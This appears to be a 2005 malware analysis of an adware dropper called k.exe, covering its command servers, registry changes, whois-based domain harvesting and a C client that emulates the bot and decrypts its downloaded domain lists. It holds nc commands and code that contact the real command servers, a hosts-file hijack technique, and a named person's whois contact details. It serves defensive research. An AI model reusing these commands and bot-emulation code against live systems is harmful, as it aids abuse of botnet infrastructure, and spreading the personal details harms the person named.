file hash: 1e65c416e0538fc061adb8c2cb0a8323
filesize: k.exe - 97280 bytes
UPDATE
We were able to reproduce a callback by the k.exe file sending information about free domains, we’ll update this in time.
UPDATE
we updatet the domain list
analysis:w32agent.dsi:updated_questioned_domains.rtf
the new list is again in txt format, and contains 44461 domains
maybe yours too?
Someone from http://heise.de gave us a hint to look at a suspicious website. Visiting the page http://www.lernen-im-netz.de, we were asked to download a file named ‘k.exe’ as a plug-in for Internet Explorer to enhance it’s features. As we did not believe that a file smaller than 30 megabytes could help with Internet Explorer mess, we had a look at it.
We started the file in ollydbg, and...
... the malware pings and wants to connect to the IP address 213.203.209.124
Having a look at http://dnsstuff.com/tools/whois.ch?ip=213.203.209.124 we find the name
person: Mario Dolzer address: Universal Boards GmbH & Co KG address: Schwanthalerstr. 5 address: 80336 M�nchen address: DE phone: +49 89 59992*** fax-no: +49 89 59992*** e-mail: ****@mariodolzer.de
You may want to read the following links to draw a picture about his buisness.
Further analysis showed that the binary also tries to connect to some other IP addresses:
$ tcpdump -r malware-2.ethereal icmp | awk '{print $3}' | sort | uniq -c
reading from file malware-2.ethereal, link-type EN10MB (Ethernet)
261 XXX.XXX.XXX.XXX
29 213.203.209.118
29 213.203.209.119
29 213.203.209.120
29 213.203.209.121
29 213.203.209.122
29 213.203.209.123
29 213.203.209.124
29 213.203.209.125
29 213.203.209.126
So it seems like he is using this whole range for this malware.
On http://www.antivir.de/de/vireninfos/virenlexikon/?tx_ideaavviruslex_pi2%5BshowUid%5D=837 you can find good information about typical behaviour of the binary.
In short:
Upon first start-up, k.exe copies itself to %SystemDIR%\k.exe and starts itself again. It then creates several registry keys and a mutex (For more info on that, take a look at http://www.antivir.de/de/vireninfos/virenlexikon/?tx_ideaavviruslex_pi2%5BshowUid%5D=837). Moreover, a link called fkd8df6s.lnk is created. This points to “%SystemDIR%\k.exe /uninstall” and thus is meant to uninstall the malware. In addition, it creates a file called “lizenz.txt” which contains some license agreement (”Lizenzvertrag Universal Boards GmbH & Co. KG - Bitte aufmerksam lesen!” - full text at license).
In the directory %SystemDIR%, three additional files are created:
The binary also modifies Internet Explorer so that IE displays advertisements. Moreover, it adds two new bookmarks to IE favorites:
Everyone is able to reproduce the registering and the download of a new URL list:
$ cat w32.agent.dsi_register.txt POST /post.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: jd%$dkj22e[df Host: 213.203.209.124 Content-Length: 42 Cache-Control: no-cache uid=2C363C9B91BA3966959CC3BA5E6BB3A8&v=188
Now you can register yourself as malware using the following command:
$ nc 213.203.209.124 80 < w32.agent.dsi_register.txt
If you want to get the encrypted URLs, you can use the following request:
$ cat w32.agent.dsi_geturls.txt GET /get.php?uid=2C363C9B91BA3966959CC3BA5E6BB3A8&lv=113&cv=188&sv=000&pv=100&fv=100&rv=100&ds=20050804160846&fd=1&fp=1 HTTP/1.1 User-Agent: jd%$dkj22e[df Host: 213.203.209.123 Cache-Control: no-cache
Afterwards, just execute the this tiny script:
while [ $i -lt 20 ]; do echo $i; cat w32.agent.dsi_geturls.txt | nc 213.203.209.123 80 > w32.agent.dsi_urls.dump.$i ; let i=$i+1; done;
The malware will connect to the appropriate whois server for the domains he received, and send a query:
<the domain in question>
The whois server will reply
domain: <the domain in question> status: <the domains status (connected|free)>
Unfortunately the URLs are encrypted when they are downloaded from the server, and we are simply to lame to decrypt them. Maybe someone else will take the challenge and try to decode the URLs received by the server...
Nevertheless, we found another way to retreive the URLs:
Since the malware has to use the function gethostbyname() for each registrar in order to connect its whois service, we can simply hijack this process. To achieve this, we use a technique that is quite common for current viri to disable anti-virus scanner updates and similar things: we simply put something like
$ more C:\WINNT\system32\drivers\etc\hosts [...] 192.168.23.42 whois.denic.de 192.168.23.42 whois.internic.com 192.168.23.42 whois.afilias.info 192.168.23.42 whois.crsnic.net [...]
in our hosts file, so that these DNS names will resolve to one IP of our choice, in this case one of our servers.
The analysis at http://www.antivir.de/de/vireninfos/virenlexikon/?tx_ideaavviruslex_pi2%5BshowUid%5D=837 lists a more complete lists of the DNS names that we have to resolve to ourselves:
# "whois.internic.com" # "whois.adamsnames.tc" # "whois.nic.be" # "whois.nic-se.se" # "whois.nic.cc" # "whois.nic.nu" # "whois.nic.dk" # "whois.nic.nl" # "whois.partnergate.de" # "whois.nic.it" # "whois.nic.li" # "whois.nic.ch" # "whois.nic.at" # "whois.crsnic.net" # "whois.publicinterestregistry.net" # "whois.nic.uk" # "whois.afilias.info" # "whois.nic.biz" # "whois.neulevel.biz" # "whois1.verisign-grs.net" # "whois.dns.pl" # "whois.nic.us" # "whois.ripe.net" # "whois.nic.ag" # "whois.cnnic.net.cn" # "whois.denic.de"
Now we get the whois requests redirected to one of our boxes, so we have to setup a whois daemon who logs all incoming requests.
Since someone from our team is a lazy cow, he just took the x-2 example from the nepenthes source (http://nepenthes.sf.net), and modified 12 lines in order to ‘emulate’ a whois server that always replies
domain: <the domain in question> status: connected
Afterwards, he removed all breakpoints from the programm, and let it run.
The firewall asked for all connections ‘k.exe’ wanted to establish, except those that are answered by the hosts file and redirected to the brandnew nepenthes always connect whois server. So from time to time we had to add new whois servers to the hosts file. Adding new hosts entries was easy: Just block the first connection, add the requested whois domain to the hosts file, and let it run again. The list above contains all whois servers that we found during our analysis.
As k.exe was still running in the debugger ollydbg, it took about 100%cpu. When the ‘nepenthes whois emu’ stalled at about 5.000 different domains, we switched it off.
Afterwards we tried to reply to a query with ‘free’ state per default for all domains. We wanted to see how the malware reacts to ‘free’ domains and wether the malware contacts the server to tell him about free domains.
This HTTP Post differs from the one used to register.
POST /post.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: jd%$dkj22e[df Host: 213.203.209.124 Content-Length: 172 Cache-Control: no-cache uid=2C363C9B91BA3966959CC3BA5E6BB3A8&v=188&url%5B%5D=%68%74%74%70%3a%2f%2f%77%77%77%2e%31%6d%64%2e%64%65%2f%7a%75%67%61%6e%67%2d%6e%65%77%31%2d%34%2e%68%74%6d%6c&pt%5B%5D=5 HTTP/1.1
the servers reply is equal
200 OK Date: Fri, 05 Aug 2005 10:49:39 GMT Server: Apache/1.3.26 (Unix) Debian GNU/Linux mod_gzip/1.3.19.1a PHP/4.3.5 X-Powered-By: PHP/4.3.5 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 0
url%5B%5D=%68%74%74%70%3a%2f%2f%77%77%77%2e%31%6d%64%2e%64%65%2f%7a%75%67%61%6e%67%2d%6e%65%77%31%2d%34%2e%68%74%6d%6c&pt%5B%5D=5 HTTP/1.1
this means
url[]=http://www.1md.de/zugang-new1-4.html&pt[]=5
you dont want to click this link
The following analysis:w32agent.dsi:questioned_domains gives an impression of how many different URLs we have found during our analysis (>12000). Here you can find a new version of the domain list with more than 44.000 domains analysis:w32agent.dsi:updated_questioned_domains.rtf (about 700kb in size)
Once thing still remains: the malware sets up a ‘service’ on port 6666, identifing itself as
$ nc -vv localhost 6666 200 adtool updateserver protocol v0.1
We tried to login to this service, but we always got
400 command not understood
After some time of inactivity, the service disconnected us:
400 timeout
update
Now we tried
get
and received a copy of k.exe on the connection.
actually this dummy was created reversing the k.exe successor help.exe the code is weak, but it works and can be used to create autodomainlistings getting watched by the domain-engel.de group
#include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #define USER_AGENT "jd\%$dkj22e[df" #define POST_PATH "/postgewinnspiel.php" #define POST_BODY "uid=AD4A13769D9D65C5E0322353862ED605&v=192" #define GET_PATH "/getgewinnspiel.php?uid=AD4A13769D9D65C5E0322353862ED605&lv=116&cv=192&sv=100&pv=100&fv=122&rv=131&ds=20060118184823&fd=1&fp=1" char *servers[] = { "213.203.209.118", "213.203.209.119", "213.203.209.120", "213.203.209.121", "213.203.209.122", "213.203.209.123", "213.203.209.124", "213.203.209.125", "213.203.209.126" }; int postit(int, char **); int getit(int, char **); void decryptit(int, char *); int main() { srand(time(NULL)); int server = rand()%(sizeof(servers)/sizeof(char *)); char *buffer; postit(server, &buffer); int size = getit(server, &buffer); decryptit(size,buffer); } int postit(int server, char **buffer) { printf("[%s] Posting the crap to %s\n","*",servers[server]); int fd = connect_server(server); char *post= "POST /postgewinnspiel.php HTTP/1.1\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "User-Agent: jd%$dkj22e[df\r\n" "Host: 213.203.209.121\r\n" "Content-Length: 42\r\n" "Cache-Control: no-cache\r\n" "\r\n" "uid=AD4A13769D9D65C5E0322353862ED605&v=192"; int res = send(fd,post,strlen(post),0); if ( res != strlen(post) ) { printf("[%s] failed %i:%i, (%s)\n","-",strlen(post),res,strerror(errno)); }else { printf("[%s] success sending %i bytes\n","+",res); } char *reply = (char *)malloc(1024); int size=1024; int rxbytes; while( (rxbytes = recv(fd,reply,size,0)) > 0) { printf("[+] read %i bytes\n",rxbytes); } // printf("%s",reply); } int getit(int server, char **buffer) { printf("[%s] Getting domains from %s\n","*",servers[server]); int fd = connect_server(server); char *get = "GET /getgewinnspiel.php?uid=AD4A13769D9D65C5E0322353862ED605&lv=116&cv=192&sv=100&pv=100&fv=122&rv=131&ds=20060118184823&fd=1&fp=1 HTTP/1.0\r\n" "User-Agent: jd%$dkj22e[df\r\n" "Host: 213.203.209.121\r\n" "Cache-Control: no-cache\r\n" "\r\n"; int res = send(fd,get,strlen(get),0); if ( res != strlen(get) ) { printf("[%s] failed %i:%i, (%s)\n","-",strlen(get),res,strerror(errno)); }else { printf("[%s] success sending %i bytes\n","+",res); } char rxbuf[1024]; int rxsize=0; char *reply=NULL; int size=0; while( (rxsize = recv(fd,rxbuf,1024,0)) > 0) { printf(" RX %5i size %5i reply %8x\n",rxsize,size,reply); reply = realloc(reply,size+rxsize); memcpy(reply+size,rxbuf,rxsize); size = size + rxsize; } int i=0; char *buf=reply; while (i<size) { if (i >= 3 && buf[i] == '\n' && buf[i-1] == '\r' && buf[i-2] == '\n' && buf[i-3] == '\r' ) { printf("found header at offset %i\n", i); printf("%.*s\n",i,buf); i++; break; } i++; } if ( i >= size ) { printf("[%s] Could not find header \n","-"); } *buffer = (char *)malloc(size-i); memcpy(*buffer,reply+i,size-i); return size-i; } int connect_server(int server) { printf("[%s] Connecting %s\n","*",servers[server]); int fd=socket(AF_INET, SOCK_STREAM, 0); unsigned long remotehost = inet_addr(servers[server]); struct sockaddr_in ssin; ssin.sin_family=AF_INET; ssin.sin_port=htons(80); ssin.sin_addr.s_addr=remotehost; int res=connect(fd, (struct sockaddr*)&ssin, sizeof(struct sockaddr_in)); if (res > 0 ) { printf("[%s] failed (%s)\n","-",strerror(errno)); }else { printf("[%s] success (socket %i)\n","+", fd); } return fd; } void decryptit(int size, char *buffer) { printf("[%s] Decrypt %i bytes\n","*",size); int i; char key[16] = {0xE1, 0x79, 0x85, 0xD8, 0x96, 0xD6, 0x03, 0xB9, 0xCD, 0x8C, 0xB3, 0xF1, 0x52, 0x83, 0x67, 0xF6}; unsigned char j; for( i = 0; i <= 256; i++ ) { printf(" %2x ",buffer[i]); if( (i + 1) % 16 == 0) printf("\n"); } printf("\n"); printf("\n"); for( i = 0; i <= size; i++ ) { unsigned char c = buffer[i] ^ key[i & 0xf]; printf("%c", isprint(c) || isspace(c) ? c : '.'); } }
In addition to the analysis we have written in the above paragraph, we also have some thoughts on the backgrounds:
We have some clues that the network of compromised machines is quite big. At http://www.lernen-im-netz.de and some of the websites that are used as ads, an “etracker live” is visible. This is a service from http://www.etracker.de, a “web controlling” company. According to this statistic, 39 people are visiting http://www.lernen-im-netz.de at the time of this writing. In the last four hours, 1512 people visited the website. We found several other webpages, which also pointed to a more detailed analysis of page hits, e.g. available at http://www.etracker.de/soverview.php?PHPSESSID=0c71dcef444898986f4c612d284a74e3